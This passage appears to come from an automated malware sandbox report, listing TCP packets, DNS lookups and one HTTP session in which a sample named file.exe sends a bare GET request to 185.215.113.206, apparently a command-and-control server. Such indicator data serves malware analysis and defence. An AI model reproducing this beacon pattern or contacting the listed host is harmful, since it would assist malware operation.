Oct 30, 2024 15:59:49.140954018 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.141026974 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.141052961 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.141060114 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.141073942 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.141078949 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.141091108 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.141797066 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.141808033 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.142925024 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.142931938 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.142946959 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.142951965 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.148963928 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.148978949 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.149077892 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.150073051 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.150098085 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.150187016 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.151534081 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.151545048 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.151623011 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.151637077 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.153825998 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.153836012 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.153913975 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.154089928 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.154109955 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.160069942 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.160083055 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.160135984 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.160284042 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.160296917 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.870978117 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.871522903 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.871553898 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.872052908 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.872060061 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.882365942 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.882900953 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.882972002 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.883398056 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.883402109 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.886472940 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.886845112 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.886862993 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.887279034 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.887284040 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.890299082 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.890629053 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.890640020 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.891053915 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.891062021 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.004313946 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.004390001 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.004482985 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.014823914 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.014873981 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.014921904 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.014960051 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.015011072 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.027282953 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.027604103 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.027661085 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.035238981 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.035254002 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.035264969 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.035269022 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.036792994 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.036792994 CET	49862	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.036808014 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.036818027 CET	443	49862	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.039335012 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.039335012 CET	49861	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.039350033 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.039361000 CET	443	49861	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.067908049 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.069967985 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.072134018 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.087394953 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.109416008 CET	49865	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.109437943 CET	443	49865	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.109601021 CET	49865	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.110760927 CET	49866	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.110786915 CET	443	49866	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.110863924 CET	49866	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.111290932 CET	49863	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.111303091 CET	443	49863	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.114206076 CET	49867	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.114217043 CET	443	49867	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.114289045 CET	49867	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.114847898 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.114856958 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.115542889 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.115546942 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.155256987 CET	49868	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.155292034 CET	443	49868	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.155565977 CET	49868	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.155750990 CET	49865	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.155765057 CET	443	49865	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.155848980 CET	49866	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.155864000 CET	443	49866	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.155960083 CET	49867	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.155971050 CET	443	49867	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.233143091 CET	49868	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.233170033 CET	443	49868	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.244220018 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.244319916 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.244399071 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.250221014 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.250221014 CET	49860	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.250235081 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.250242949 CET	443	49860	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.600509882 CET	49869	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.600538969 CET	443	49869	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.600605011 CET	49869	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.601751089 CET	49869	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.601764917 CET	443	49869	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.836956978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:50.882405043 CET	443	49865	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:50.885337114 CET	49865	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:50.885349989 CET	443	49865	13.107.246.45	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 15:59:12.162208080 CET	192.168.2.6	1.1.1.1	0xaf8d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:12.162435055 CET	192.168.2.6	1.1.1.1	0x5fdb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:16.907380104 CET	192.168.2.6	1.1.1.1	0xc919	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:16.907885075 CET	192.168.2.6	1.1.1.1	0xf09e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:17.905060053 CET	192.168.2.6	1.1.1.1	0xdc09	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:17.905550003 CET	192.168.2.6	1.1.1.1	0xd47b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:26.318195105 CET	192.168.2.6	1.1.1.1	0xf681	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:26.318607092 CET	192.168.2.6	1.1.1.1	0xc242	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:27.601994038 CET	192.168.2.6	1.1.1.1	0x6ac7	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:27.602164030 CET	192.168.2.6	1.1.1.1	0x98e6	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 30, 2024 15:59:29.502829075 CET	192.168.2.6	1.1.1.1	0xd109	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.503026962 CET	192.168.2.6	1.1.1.1	0x483a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:29.529764891 CET	192.168.2.6	1.1.1.1	0x82ac	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.530056000 CET	192.168.2.6	1.1.1.1	0xb7d2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:29.538929939 CET	192.168.2.6	1.1.1.1	0xb819	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.539066076 CET	192.168.2.6	1.1.1.1	0x5a4d	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:29.546133041 CET	192.168.2.6	1.1.1.1	0x6f37	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.546303988 CET	192.168.2.6	1.1.1.1	0xf039	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:29.550410032 CET	192.168.2.6	1.1.1.1	0x8db8	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.550545931 CET	192.168.2.6	1.1.1.1	0x4cd2	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:30.218817949 CET	192.168.2.6	1.1.1.1	0x6bd1	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 30, 2024 15:59:31.136926889 CET	192.168.2.6	1.1.1.1	0x6d1d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.137059927 CET	192.168.2.6	1.1.1.1	0xa48e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:31.137550116 CET	192.168.2.6	1.1.1.1	0x3521	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.137679100 CET	192.168.2.6	1.1.1.1	0xab65	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:31.144283056 CET	192.168.2.6	1.1.1.1	0x2554	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.144665956 CET	192.168.2.6	1.1.1.1	0xd297	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 15:59:36.126358032 CET	192.168.2.6	1.1.1.1	0x3b4e	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:36.149045944 CET	192.168.2.6	1.1.1.1	0x6bf8	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:37.884545088 CET	192.168.2.6	1.1.1.1	0x73e4	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.701797009 CET	192.168.2.6	1.1.1.1	0x55e7	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.702316999 CET	192.168.2.6	1.1.1.1	0x9e0	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.751920938 CET	192.168.2.6	1.1.1.1	0xd7e	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:42.577084064 CET	192.168.2.6	1.1.1.1	0x5918	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:00:27.607119083 CET	192.168.2.6	1.1.1.1	0x90fa	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:00:36.199275017 CET	192.168.2.6	1.1.1.1	0xf28f	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 15:59:12.169449091 CET	1.1.1.1	192.168.2.6	0xaf8d	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:12.169549942 CET	1.1.1.1	192.168.2.6	0x5fdb	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 15:59:16.914715052 CET	1.1.1.1	192.168.2.6	0xc919	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:16.914715052 CET	1.1.1.1	192.168.2.6	0xc919	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:16.916088104 CET	1.1.1.1	192.168.2.6	0xf09e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:17.913003922 CET	1.1.1.1	192.168.2.6	0xdc09	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:26.325625896 CET	1.1.1.1	192.168.2.6	0xf681	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:26.325642109 CET	1.1.1.1	192.168.2.6	0xc242	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:26.337136030 CET	1.1.1.1	192.168.2.6	0xc2c9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:26.337465048 CET	1.1.1.1	192.168.2.6	0x6743	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:26.337465048 CET	1.1.1.1	192.168.2.6	0x6743	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:27.609517097 CET	1.1.1.1	192.168.2.6	0x6ac7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:27.609808922 CET	1.1.1.1	192.168.2.6	0x98e6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.510133028 CET	1.1.1.1	192.168.2.6	0xd109	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.510133028 CET	1.1.1.1	192.168.2.6	0xd109	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.513394117 CET	1.1.1.1	192.168.2.6	0x483a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.537477016 CET	1.1.1.1	192.168.2.6	0x82ac	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.537477016 CET	1.1.1.1	192.168.2.6	0x82ac	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.537477016 CET	1.1.1.1	192.168.2.6	0x82ac	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.537477016 CET	1.1.1.1	192.168.2.6	0x82ac	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:29.546235085 CET	1.1.1.1	192.168.2.6	0xb819	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.546968937 CET	1.1.1.1	192.168.2.6	0x5a4d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.553822041 CET	1.1.1.1	192.168.2.6	0x6f37	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.554277897 CET	1.1.1.1	192.168.2.6	0xf039	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.558693886 CET	1.1.1.1	192.168.2.6	0x8db8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:29.559022903 CET	1.1.1.1	192.168.2.6	0x4cd2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:30.231467962 CET	1.1.1.1	192.168.2.6	0x6bd1	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 30, 2024 15:59:31.144325972 CET	1.1.1.1	192.168.2.6	0x6d1d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.144325972 CET	1.1.1.1	192.168.2.6	0x6d1d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.144346952 CET	1.1.1.1	192.168.2.6	0xa48e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 15:59:31.144680023 CET	1.1.1.1	192.168.2.6	0x3521	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.144680023 CET	1.1.1.1	192.168.2.6	0x3521	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.145298004 CET	1.1.1.1	192.168.2.6	0xab65	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 15:59:31.151726961 CET	1.1.1.1	192.168.2.6	0x2554	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.151726961 CET	1.1.1.1	192.168.2.6	0x2554	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:31.152441025 CET	1.1.1.1	192.168.2.6	0xd297	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 15:59:31.626272917 CET	1.1.1.1	192.168.2.6	0xaeac	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:31.673762083 CET	1.1.1.1	192.168.2.6	0x96a7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:31.673762083 CET	1.1.1.1	192.168.2.6	0x96a7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:32.927748919 CET	1.1.1.1	192.168.2.6	0x9bf6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:32.927748919 CET	1.1.1.1	192.168.2.6	0x9bf6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:34.874021053 CET	1.1.1.1	192.168.2.6	0x2c2f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:34.874021053 CET	1.1.1.1	192.168.2.6	0x2c2f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:34.949923038 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:34.949923038 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:35.958452940 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:35.958452940 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:36.139815092 CET	1.1.1.1	192.168.2.6	0x3b4e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:36.157361984 CET	1.1.1.1	192.168.2.6	0x6bf8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:36.972156048 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:36.972156048 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:37.892472982 CET	1.1.1.1	192.168.2.6	0x73e4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:38.988398075 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:38.988398075 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.709681034 CET	1.1.1.1	192.168.2.6	0x55e7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:40.709696054 CET	1.1.1.1	192.168.2.6	0x9e0	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.709696054 CET	1.1.1.1	192.168.2.6	0x9e0	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.709696054 CET	1.1.1.1	192.168.2.6	0x9e0	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.709696054 CET	1.1.1.1	192.168.2.6	0x9e0	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:59:40.759165049 CET	1.1.1.1	192.168.2.6	0xd7e	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:42.585664988 CET	1.1.1.1	192.168.2.6	0x5918	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:42.989932060 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 15:59:42.989932060 CET	1.1.1.1	192.168.2.6	0xffc6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:00:27.615359068 CET	1.1.1.1	192.168.2.6	0x90fa	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:00:37.003786087 CET	1.1.1.1	192.168.2.6	0xf28f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	5580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 15:59:03.125329971 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
